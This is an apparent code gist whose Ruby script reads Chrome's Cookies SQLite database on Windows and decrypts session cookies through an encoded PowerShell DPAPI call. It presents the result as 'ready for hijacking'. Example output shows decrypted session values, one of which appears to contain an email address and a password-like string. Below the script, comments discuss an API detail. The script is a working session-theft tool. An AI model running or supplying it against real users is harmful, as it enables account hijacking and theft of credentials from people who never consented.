Extract cookies from chrome SQLite local storage and decrypt them using Windows DPAPI

cookie_decrypt.rb

require 'base64'
require 'sqlite3'
require 'uri'

app_data_location = `echo %appdata%`
db = SQLite3::Database.new "#{app_data_location}\\..\\Local\\Google\\Chrome\\User Data\\Default\\Cookies"

# make your own request and filters here
res = db.execute "select host_key,name,encrypted_value from cookies WHERE name LIKE '%session%'"

res.each do |cookie|
host_key = cookie[0]
name = cookie[1]
encrypted = cookie[2]

cmd = "Add-Type -AssemblyName System.Security
$cookieAsEncryptedBytes = [byte]#{encrypted.bytes.join(',')}
$cookieAsBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($cookieAsEncryptedBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
$cookie = [System.Text.Encoding]::ASCII.GetString($cookieAsBytes)
$cookie"

encoded_cmd = Base64.strict_encode64(cmd.encode('utf-16le'))
decrypted = `powershell.exe -encodedCommand #{encoded_cmd}`
puts "#{host_key} : #{name} => #{URI::decode decrypted}"
end

# example output
# www.sentrifugo.com : session_alive => ppWZnak=
# www.sentrifugo.com : user_session_data => [email protected]$$$likadi9195$$$
# lesnumeriques.com : af_session => {"visitorId":"1573643138598865","sessionId":1,...}

# ready for hijacking !

Not SQLite3::Database.new but SQLite3::Database.open

Not SQLite3::Database.new but SQLite3::Database.open

I don't have a running ruby env with me to test it but the official readme of sqlite3 still says SQLite3::Database.new
https://github.com/sparklemotion/sqlite3-ruby#synopsis

I cannot find .open method in sqlite3 rubydoc, is it an alias ?
https://www.rubydoc.info/gems/sqlite3/SQLite3/Database#initialize-instance_method

Anyway at the time of writing (2019) it was .new, maybe it has been changed since, but i'm not updating this gist anymore.